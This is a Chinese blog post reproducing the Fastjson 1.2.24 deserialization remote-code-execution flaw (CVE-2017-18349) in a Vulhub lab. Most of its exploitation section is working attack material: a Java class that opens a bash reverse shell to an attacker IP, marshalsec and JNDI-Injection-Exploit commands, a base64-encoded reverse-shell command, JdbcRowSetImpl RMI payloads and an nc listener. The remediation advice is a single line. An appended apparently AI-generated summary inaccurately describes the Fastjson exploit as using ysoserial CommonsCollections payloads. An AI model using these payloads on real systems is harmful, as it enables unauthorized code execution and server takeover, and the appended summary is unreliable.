Fastjson反序列化漏洞原理与漏洞复现(CVE-2017-18349)

本文介绍了Fastjson库的反序列化功能,展示了如何通过构造特殊JSON引发安全漏洞,包括漏洞原理、复现步骤以及如何利用它实现远程代码执行。还提供了修复建议,强调了及时更新Fastjson版本的重要性。

摘要生成于 C知道 ,由 DeepSeek-R1 满血版支持, 前往体验 >

1、什么是Fastjson反序列化?

Fastjson是一个由阿里巴巴开源的Java库,用于将 Java 对象转换成其 JSON 表示形式,也可以用来将 JSON 字符串转换成等效的 Java 对象。这个过程通常称为序列化和反序列化。Fastjson 反序列化是指将 JSON 字符串转换为 Java 对象的过程。

1.1、例如:

首先假设你有如下的JSON字符串

{
  "name": "John Doe",
  "age": 30,
  "isDeveloper": true
}

将这个 JSON 字符串反序列化为一个 Java 对象。首先,创建一个 Java 类来表示 JSON 数据

public class User {
    private String name;
    private int age;
    private boolean isDeveloper;
    
    // getters and setters 省略
}

然后,使用 Fastjson 的 JSON.parseObject 方法将 JSON 字符串转换为 User 类的实例

String jsonString = "{\"name\":\"John Doe\", \"age\":30, \"isDeveloper\":true}";
User user = JSON.parseObject(jsonString, User.class);

在这个例子中,jsonString 包含了要反序列化的 JSON 数据,User.class 是目标对象的类类型。Fastjson 会解析 JSON 字符串,并且将解析出的数据填充到新创建的 User 对象的相应字段中。

2、漏洞原理

Fastjson允许JSON字符串中包含@type关键字来指示目标对象的类型。这意味着反序列化时,Fastjson会尝试加载并实例化这个类型的对象。如果应用程序配置允许自动类型识别,而没有适当的限制,攻击者就可以通过构造特殊的JSON字符串来指定恶意类

3、影响版本

影响版本:Fastjson1.2.24及之前版本。

4、环境准备

启动Vulhub靶场环境,本文不多做介绍,如需要请点击此处查看即可。

5、漏洞复现

5.1、漏洞验证

dnslog里申请一个域名

访问拉取到的环境靶场并用burp suite拦截

修改请求为POST,修改 Content-Type为: application/json,添加请求内容

验证成功,说明存在漏洞

5.2、漏洞利用

构建恶意类,创建java脚本(脚本中的IP为攻击机IP)

import java.lang.Runtime;
import java.lang.Process;
 
public class GetShell {
    static {
        try {
            Runtime rt = Runtime.getRuntime();
            String[] commands = {"bash", "-c", "bash -i >& /dev/tcp/192.168.15.128/6666 0>&1"};
            Process pc = rt.exec(commands);
            pc.waitFor();
        } catch (Exception e) {
            // do nothing
        }
    }
}

在此文件的路径进入cmd执行如下命令编译为.class文件

javac GetShell.java

将生成的.class文件放入kali,并在其所在路径执行如下命令,使其可被访问。

python3 -m http.server 80

使用marshalsec,启动RMI服务。安装marshalsec或点此离线下载

git clone https://github.com/mbechler/marshalsec

安装maven

apt-get install maven

进入marshalsec目录,执行如下命令进行编译。

mvn clean package -DskipTests

编译完成

进入marshalsec/target目录,执行如下命令启动RMI服务并远程加在GetShell类

java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.RMIRefServer "http://192.168.15.128:80/#GetShell" 3333

重新访问靶场环境地址,burp抓包,修改请求头为POST,修改修改 Content-Type为: application/json,并带入payload。

{
    "b":{
    "@type":"com.sun.rowset.JdbcRowSetImpl",
    "dataSourceName":"rmi://192.168.15.128:3333/GetShell",
    "autoCommit":true
    }
}

点击发送,httpserver收到请求,RMI服务器收到请求,复现成功。

5.3、反弹shell

正常情况下以上payload也可反弹shell,查了多个资料应该是jdk版本较高导致编译后无法反弹shell,更换环境比较头疼,下面是反弹shell操作步骤。

首先需要下载JNDI注入工具。git clone https://github.com/welk1n/JNDI-Injection-Exploit.git 

进入JNDI-Injection-Exploit目录

执行如下命令编译

mvn clean package -DskipTests

编译成功界面

构造反弹shell命令并进行base64编码。推荐编码地址

bash -i >& /dev/tcp/192.168.15.128/4444 0>&1

进入JNDI-Injection-Exploit/target,执行如下命令启动JDNI,生成payload。

java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -C "bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjE1LjEyOC80NDQ0IDA+JjE=}|{base64,-d}|{bash,-i}" -A "192.168.15.128"

执行如下命令监听

nc -lvvp 4444

burp抓取漏洞环境的数据包修改请求头为POST,Content-Type: application/json,添加payload点击发送

{
    "b":{
        "@type":"com.sun.rowset.JdbcRowSetImpl",
        "dataSourceName":"rmi://192.168.15.128:1099/s1ipur",
        "autoCommit":true
    }
}

成功反弹shell

6、修复建议

将Fastjson升级至最新版本

WebLogic和Fastjson反序列化漏洞是两个独立的漏洞,但它们都涉及到Java反序列化安全问题。我会分别给你介绍这两个漏洞原理复现方法。 1. WebLogic反序列化漏洞原理分析及复现WebLogic反序列化漏洞是指通过利用WebLogic Server中T3协议的漏洞,攻击者可以在目标服务器上执行任意代码。这个漏洞的根本原因是WebLogic Server在处理T3协议时未正确过滤用户提供的数据,导致攻击者可以构造恶意的序列化数据,在服务器端触发反序列化漏洞复现漏洞的步骤如下: 1) 下载并配置WebLogic Server环境。 2) 使用ysoserial工具生成payload,例如利用CommonsCollections的payload。 3) 构造T3协议请求,将生成的payload嵌入到请求中。 4) 启动WebLogic Server,并发送恶意请求。 5) 成功触发反序列化漏洞后,攻击者可以执行任意代码。 2. Fastjson反序列化漏洞原理分析及复现Fastjson是一个常用的Java JSON库,该漏洞存在于Fastjson的版本1.2.24及之前的版本中。攻击者可以通过构造恶意的JSON数据,触发Fastjson反序列化漏洞,从而执行任意代码。 漏洞的原因是Fastjson反序列化JSON数据时,对默认类型进行了自动化检测和加载,并且允许调用类的默认构造函数,从而导致了代码执行漏洞。攻击者可以通过构造恶意的JSON数据,在目标服务器上执行任意代码。 复现漏洞的步骤如下: 1) 下载并配置Fastjson版本1.2.24或之前的环境。 2) 使用ysoserial工具生成payload,例如利用CommonsCollections的payload。 3) 构造恶意的JSON数据,将生成的payload嵌入到JSON中。 4) 编写测试代码,使用Fastjson进行反序列化操作。 5) 执行测试代码,成功触发反序列化漏洞后,攻击者可以执行任意代码。 请注意,漏洞利用是非法行为,仅在授权范围内进行安全测试和研究。
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值